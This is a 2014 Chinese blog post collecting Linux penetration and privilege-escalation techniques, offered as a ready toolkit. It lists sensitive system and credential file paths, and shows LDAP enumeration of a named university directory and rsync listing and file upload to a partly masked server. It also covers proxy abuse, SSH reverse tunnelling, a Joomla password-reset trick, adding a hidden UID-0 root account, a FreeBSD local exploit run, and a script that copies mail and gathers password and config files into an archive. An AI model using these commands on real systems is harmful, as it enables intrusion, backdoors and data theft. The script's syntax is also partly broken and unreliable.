LINUX渗透与提权总结 - milantgh

本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：

001
/etc/passwd

002
 
003
/etc/shadow

004
 
005
/etc/fstab

006
 
007
/etc/host.conf

008
 
009
/etc/motd

010
 
011
/etc/ld.so.conf

012
 
013
/var/www/htdocs/index.php

014
 
015
/var/www/conf/httpd.conf

016
 
017
/var/www/htdocs/index.html

018
 
019
/var/httpd/conf/php.ini

020
 
021
/var/httpd/htdocs/index.php

022
 
023
/var/httpd/conf/httpd.conf

024
 
025
/var/httpd/htdocs/index.html

026
 
027
/var/httpd/conf/php.ini

028
 
029
/var/www/index.html

030
 
031
/var/www/index.php

032
 
033
/opt/www/conf/httpd.conf

034
 
035
/opt/www/htdocs/index.php

036
 
037
/opt/www/htdocs/index.html

038
 
039
/usr/local/apache/htdocs/index.html

040
 
041
/usr/local/apache/htdocs/index.php

042
 
043
/usr/local/apache2/htdocs/index.html

044
 
045
/usr/local/apache2/htdocs/index.php

046
 
047
/usr/local/httpd2.2/htdocs/index.php

048
 
049
/usr/local/httpd2.2/htdocs/index.html

050
 
051
/tmp/apache/htdocs/index.html

052
 
053
/tmp/apache/htdocs/index.php

054
 
055
/etc/httpd/htdocs/index.php

056
 
057
/etc/httpd/conf/httpd.conf

058
 
059
/etc/httpd/htdocs/index.html

060
 
061
/www/php/php.ini

062
 
063
/www/php4/php.ini

064
 
065
/www/php5/php.ini

066
 
067
/www/conf/httpd.conf

068
 
069
/www/htdocs/index.php

070
 
071
/www/htdocs/index.html

072
 
073
/usr/local/httpd/conf/httpd.conf

074
 
075
/apache/apache/conf/httpd.conf

076
 
077
/apache/apache2/conf/httpd.conf

078
 
079
/etc/apache/apache.conf

080
 
081
/etc/apache2/apache.conf

082
 
083
/etc/apache/httpd.conf

084
 
085
/etc/apache2/httpd.conf

086
 
087
/etc/apache2/vhosts.d/00_default_vhost.conf

088
 
089
/etc/apache2/sites-available/default

090
 
091
/etc/phpmyadmin/config.inc.php

092
 
093
/etc/mysql/my.cnf

094
 
095
/etc/httpd/conf.d/php.conf

096
 
097
/etc/httpd/conf.d/httpd.conf

098
 
099
/etc/httpd/logs/error_log

100
 
101
/etc/httpd/logs/error.log

102
 
103
/etc/httpd/logs/access_log

104
 
105
/etc/httpd/logs/access.log

106
 
107
/home/apache/conf/httpd.conf

108
 
109
/home/apache2/conf/httpd.conf

110
 
111
/var/log/apache/error_log

112
 
113
/var/log/apache/error.log

114
 
115
/var/log/apache/access_log

116
 
117
/var/log/apache/access.log

118
 
119
/var/log/apache2/error_log

120
 
121
/var/log/apache2/error.log

122
 
123
/var/log/apache2/access_log

124
 
125
/var/log/apache2/access.log

126
 
127
/var/www/logs/error_log

128
 
129
/var/www/logs/error.log

130
 
131
/var/www/logs/access_log

132
 
133
/var/www/logs/access.log

134
 
135
/usr/local/apache/logs/error_log

136
 
137
/usr/local/apache/logs/error.log

138
 
139
/usr/local/apache/logs/access_log

140
 
141
/usr/local/apache/logs/access.log

142
 
143
/var/log/error_log

144
 
145
/var/log/error.log

146
 
147
/var/log/access_log

148
 
149
/var/log/access.log

150
 
151
/usr/local/apache/logs/access_logaccess_log.old

152
 
153
/usr/local/apache/logs/error_logerror_log.old

154
 
155
/etc/php.ini

156
 
157
/bin/php.ini

158
 
159
/etc/init.d/httpd

160
 
161
/etc/init.d/mysql

162
 
163
/etc/httpd/php.ini

164
 
165
/usr/lib/php.ini

166
 
167
/usr/lib/php/php.ini

168
 
169
/usr/local/etc/php.ini

170
 
171
/usr/local/lib/php.ini

172
 
173
/usr/local/php/lib/php.ini

174
 
175
/usr/local/php4/lib/php.ini

176
 
177
/usr/local/php4/php.ini

178
 
179
/usr/local/php4/lib/php.ini

180
 
181
/usr/local/php5/lib/php.ini

182
 
183
/usr/local/php5/etc/php.ini

184
 
185
/usr/local/php5/php5.ini

186
 
187
/usr/local/apache/conf/php.ini

188
 
189
/usr/local/apache/conf/httpd.conf

190
 
191
/usr/local/apache2/conf/httpd.conf

192
 
193
/usr/local/apache2/conf/php.ini

194
 
195
/etc/php4.4/fcgi/php.ini

196
 
197
/etc/php4/apache/php.ini

198
 
199
/etc/php4/apache2/php.ini

200
 
201
/etc/php5/apache/php.ini

202
 
203
/etc/php5/apache2/php.ini

204
 
205
/etc/php/php.ini

206
 
207
/etc/php/php4/php.ini

208
 
209
/etc/php/apache/php.ini

210
 
211
/etc/php/apache2/php.ini

212
 
213
/web/conf/php.ini

214
 
215
/usr/local/Zend/etc/php.ini

216
 
217
/opt/xampp/etc/php.ini

218
 
219
/var/local/www/conf/php.ini

220
 
221
/var/local/www/conf/httpd.conf

222
 
223
/etc/php/cgi/php.ini

224
 
225
/etc/php4/cgi/php.ini

226
 
227
/etc/php5/cgi/php.ini

228
 
229
/php5/php.ini

230
 
231
/php4/php.ini

232
 
233
/php/php.ini

234
 
235
/PHP/php.ini

236
 
237
/apache/php/php.ini

238
 
239
/xampp/apache/bin/php.ini

240
 
241
/xampp/apache/conf/httpd.conf

242
 
243
/NetServer/bin/stable/apache/php.ini

244
 
245
/home2/bin/stable/apache/php.ini

246
 
247
/home/bin/stable/apache/php.ini

248
 
249
/var/log/mysql/mysql-bin.log

250
 
251
/var/log/mysql.log

252
 
253
/var/log/mysqlderror.log

254
 
255
/var/log/mysql/mysql.log

256
 
257
/var/log/mysql/mysql-slow.log

258
 
259
/var/mysql.log

260
 
261
/var/lib/mysql/my.cnf

262
 
263
/usr/local/mysql/my.cnf

264
 
265
/usr/local/mysql/bin/mysql

266
 
267
/etc/mysql/my.cnf

268
 
269
/etc/my.cnf

270
 
271
/usr/local/cpanel/logs

272
 
273
/usr/local/cpanel/logs/stats_log

274
 
275
/usr/local/cpanel/logs/access_log

276
 
277
/usr/local/cpanel/logs/error_log

278
 
279
/usr/local/cpanel/logs/license_log

280
 
281
/usr/local/cpanel/logs/login_log

282
 
283
/usr/local/cpanel/logs/stats_log

284
 
285
/usr/local/share/examples/php4/php.ini

286
 
287
/usr/local/share/examples/php/php.ini

288
 
289
/usr/local/tomcat5527/bin/version.sh

290
 
291
/usr/share/tomcat6/bin/startup.sh

292
 
293
/usr/tomcat6/bin/startup.sh

liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1
1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

1
2.less /etc/ldap.conf

2
 
3
base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

1
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

1
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

1
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1
1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

1
2.less /etc/ldap.conf

2
 
3
base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

1
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

1
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

1
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性

01
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"

02
 
03
version: 1

04
 
05
dn: dc=ruc,dc=edu,dc=cn

06
 
07
dc: ruc

08
 
09
objectClass: domain

10
 
11
dn: uid=manager,dc=ruc,dc=edu,dc=cn

12
 
13
uid: manager

14
 
15
objectClass: inetOrgPerson

16
 
17
objectClass: organizationalPerson

18
 
19
objectClass: person

20
 
21
objectClass: top

22
 
23
sn: manager

24
 
25
cn: manager

26
 
27
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn

28
 
29
uid: superadmin

30
 
31
objectClass: inetOrgPerson

32
 
33
objectClass: organizationalPerson

34
 
35
objectClass: person

36
 
37
objectClass: top

38
 
39
sn: superadmin

40
 
41
cn: superadmin

42
 
43
dn: uid=admin,dc=ruc,dc=edu,dc=cn

44
 
45
uid: admin

46
 
47
objectClass: inetOrgPerson

48
 
49
objectClass: organizationalPerson

50
 
51
objectClass: person

52
 
53
objectClass: top

54
 
55
sn: admin

56
 
57
cn: admin

58
 
59
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn

60
 
61
uid: dcp_anonymous

62
 
63
objectClass: top

64
 
65
objectClass: person

66
 
67
objectClass: organizationalPerson

68
 
69
objectClass: inetOrgPerson

70
 
71
sn: dcp_anonymous

72
 
73
cn: dcp_anonymous

2.查看基类

1
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

001
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"

002
 
003
version: 1

004
 
005
dn:

006
 
007
objectClass: top

008
 
009
namingContexts: dc=ruc,dc=edu,dc=cn

010
 
011
supportedExtension: 2.16.840.1.113730.3.5.7

012
 
013
supportedExtension: 2.16.840.1.113730.3.5.8

014
 
015
supportedExtension: 1.3.6.1.4.1.4203.1.11.1

016
 
017
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25

018
 
019
supportedExtension: 2.16.840.1.113730.3.5.3

020
 
021
supportedExtension: 2.16.840.1.113730.3.5.5

022
 
023
supportedExtension: 2.16.840.1.113730.3.5.6

024
 
025
supportedExtension: 2.16.840.1.113730.3.5.4

026
 
027
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1

028
 
029
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2

030
 
031
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3

032
 
033
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4

034
 
035
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5

036
 
037
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6

038
 
039
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7

040
 
041
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8

042
 
043
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9

044
 
045
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23

046
 
047
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11

048
 
049
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12

050
 
051
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13

052
 
053
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14

054
 
055
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15

056
 
057
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16

058
 
059
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17

060
 
061
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18

062
 
063
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19

064
 
065
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21

066
 
067
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22

068
 
069
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24

070
 
071
supportedExtension: 1.3.6.1.4.1.1466.20037

072
 
073
supportedExtension: 1.3.6.1.4.1.4203.1.11.3

074
 
075
supportedControl: 2.16.840.1.113730.3.4.2

076
 
077
supportedControl: 2.16.840.1.113730.3.4.3

078
 
079
supportedControl: 2.16.840.1.113730.3.4.4

080
 
081
supportedControl: 2.16.840.1.113730.3.4.5

082
 
083
supportedControl: 1.2.840.113556.1.4.473

084
 
085
supportedControl: 2.16.840.1.113730.3.4.9

086
 
087
supportedControl: 2.16.840.1.113730.3.4.16

088
 
089
supportedControl: 2.16.840.1.113730.3.4.15

090
 
091
supportedControl: 2.16.840.1.113730.3.4.17

092
 
093
supportedControl: 2.16.840.1.113730.3.4.19

094
 
095
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2

096
 
097
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6

098
 
099
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8

100
 
101
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

102
 
103
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1

104
 
105
supportedControl: 2.16.840.1.113730.3.4.14

106
 
107
supportedControl: 1.3.6.1.4.1.1466.29539.12

108
 
109
supportedControl: 2.16.840.1.113730.3.4.12

110
 
111
supportedControl: 2.16.840.1.113730.3.4.18

112
 
113
supportedControl: 2.16.840.1.113730.3.4.13

114
 
115
supportedSASLMechanisms: EXTERNAL

116
 
117
supportedSASLMechanisms: DIGEST-MD5

118
 
119
supportedLDAPVersion: 2

120
 
121
supportedLDAPVersion: 3

122
 
123
vendorName: Sun Microsystems, Inc.

124
 
125
vendorVersion: Sun-Java(tm)-System-Directory/6.2

126
 
127
dataversion: 020090516011411

128
 
129
netscapemdsuffix: cn=ldap://dc=webA:389

130
 
131
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA

132
 
133
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

134
 
135
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA

136
 
137
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA

138
 
139
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA

140
 
141
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA

142
 
143
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA

144
 
145
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA

146
 
147
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA

148
 
149
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA

150
 
151
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

152
 
153
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA

154
 
155
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA

156
 
157
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA

158
 
159
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA

160
 
161
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA

162
 
163
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA

164
 
165
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA

166
 
167
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5

168
 
169
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA

170
 
171
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA

172
 
173
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA

174
 
175
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA

176
 
177
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA

178
 
179
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA

180
 
181
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA

182
 
183
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA

184
 
185
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA

186
 
187
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA

188
 
189
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA

190
 
191
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA

192
 
193
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA

194
 
195
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA

196
 
197
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA

198
 
199
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA

200
 
201
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5

202
 
203
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5

204
 
205
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA

206
 
207
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA

208
 
209
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA

210
 
211
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA

212
 
213
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA

214
 
215
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5

216
 
217
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5

218
 
219
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5

220
 
221
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5

222
 
223
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5

224
 
225
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5

226
 
227
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

1
showmount -e ip

liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

01
rsync 210.51.X.X::

02
 
03
finance

04
 
05
img_finance

06
 
07
auto

08
 
09
img_auto

10
 
11
html_cms

12
 
13
img_cms

14
 
15
ent_cms

16
 
17
ent_img

18
 
19
ceshi

20
 
21
res_img

22
 
23
res_img_c2

24
 
25
chip

26
 
27
chip_c2

28
 
29
ent_icms

30
 
31
games

32
 
33
gamesimg

34
 
35
media

36
 
37
mediaimg

38
 
39
fashion

40
 
41
res-fashion

42
 
43
res-fo

44
 
45
taobao-home

46
 
47
res-taobao-home

48
 
49
house

50
 
51
res-house

52
 
53
res-home

54
 
55
res-edu

56
 
57
res-ent

58
 
59
res-labs

60
 
61
res-news

62
 
63
res-phtv

64
 
65
res-media

66
 
67
home

68
 
69
edu

70
 
71
news

72
 
73
res-book

看相应的下级目录(注意一定要在目录后面添加上/)

1
rsync 210.51.X.X::htdocs_app/

2
 
3
rsync 210.51.X.X::auto/

4
 
5
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件

1
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

1
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/

2
 
3
http://app.finance.xxx.com/warn/nothack.txt

liunx 相关提权渗透技巧总结，四、squid渗透技巧：

1
nc -vv 91ri.org 80

2
 
3
GET HTTP://www.sina.com / HTTP/1.0

4
 
5
GET HTTP://WWW.sina.com:22 / HTTP/1.0

liunx 相关提权渗透技巧总结，五、SSH端口转发：

1
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

1
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码：

1
index.php?option=com_user&view=reset&layout=confirm

liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：

1
useradd -o -u 0 nothack

liunx 相关提权渗透技巧总结，八、freebsd本地提权：

01
[argp@julius ~]$ uname -rsi

02
 
03
* freebsd 7.3-RELEASE GENERIC

04
 
05
* [argp@julius ~]$ sysctl vfs.usermount

06
 
07
* vfs.usermount: 1

08
 
09
* [argp@julius ~]$ id

10
 
11
* uid=1001(argp) gid=1001(argp) groups=1001(argp)

12
 
13
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex

14
 
15
* [argp@julius ~]$ ./nfs_mount_ex

16
 
17
*

18
 
19
calling nmount()

tar 文件夹打包：

1、tar打包：

1
tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*

2
 
3
alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz 查看压缩包里内容 tar -zxf *.tar.gz 解压

那么用这条比较好

1
tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}

系统信息收集：

01
for linux：

02
 
03
#!/bin/bash

04
 
05
echo #######geting sysinfo####

06
 
07
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt

08
 
09
echo #######basic infomation##

10
 
11
cat /proc/meminfo

12
 
13
echo

14
 
15
cat /proc/cpuinfo

16
 
17
echo

18
 
19
rpm -qa 2>/dev/null

20
 
21
######stole the mail......######

22
 
23
cp -a /var/mail /tmp/getmail 2>/dev/null

24
 
25
echo 'u'r id is' `id`

26
 
27
echo ###atq&crontab#####

28
 
29
atq

30
 
31
crontab -l

32
 
33
echo #####about var#####

34
 
35
set

36
 
37
echo #####about network###

38
 
39
####this is then point in pentest,but i am a new bird,so u need to add some in it

40
 
41
cat /etc/hosts

42
 
43
hostname

44
 
45
ipconfig -a

46
 
47
arp -v

48
 
49
echo ########user####

50
 
51
cat /etc/passwd|grep -i sh

52
 
53
echo ######service####

54
 
55
chkconfig --list

56
 
57
for i in {oracle,mysql,tomcat,samba,apache,ftp}

58
 
59
cat /etc/passwd|grep -i $i

60
 
61
done

62
 
63
locate passwd >/tmp/password 2>/dev/null

64
 
65
sleep 5

66
 
67
locate password >>/tmp/password 2>/dev/null

68
 
69
sleep 5

70
 
71
locate conf >/tmp/sysconfig 2>dev/null

72
 
73
sleep 5

74
 
75
locate config >>/tmp/sysconfig 2>/dev/null

76
 
77
sleep 5

78
 
79
###maybe can use "tree /"###

80
 
81
echo ##packing up#########

82
 
83
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig

84
 
85
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig

posted on 2014-03-15 11:23 milantgh 阅读(1771) 评论(0) 编辑收藏举报

刷新页面返回顶部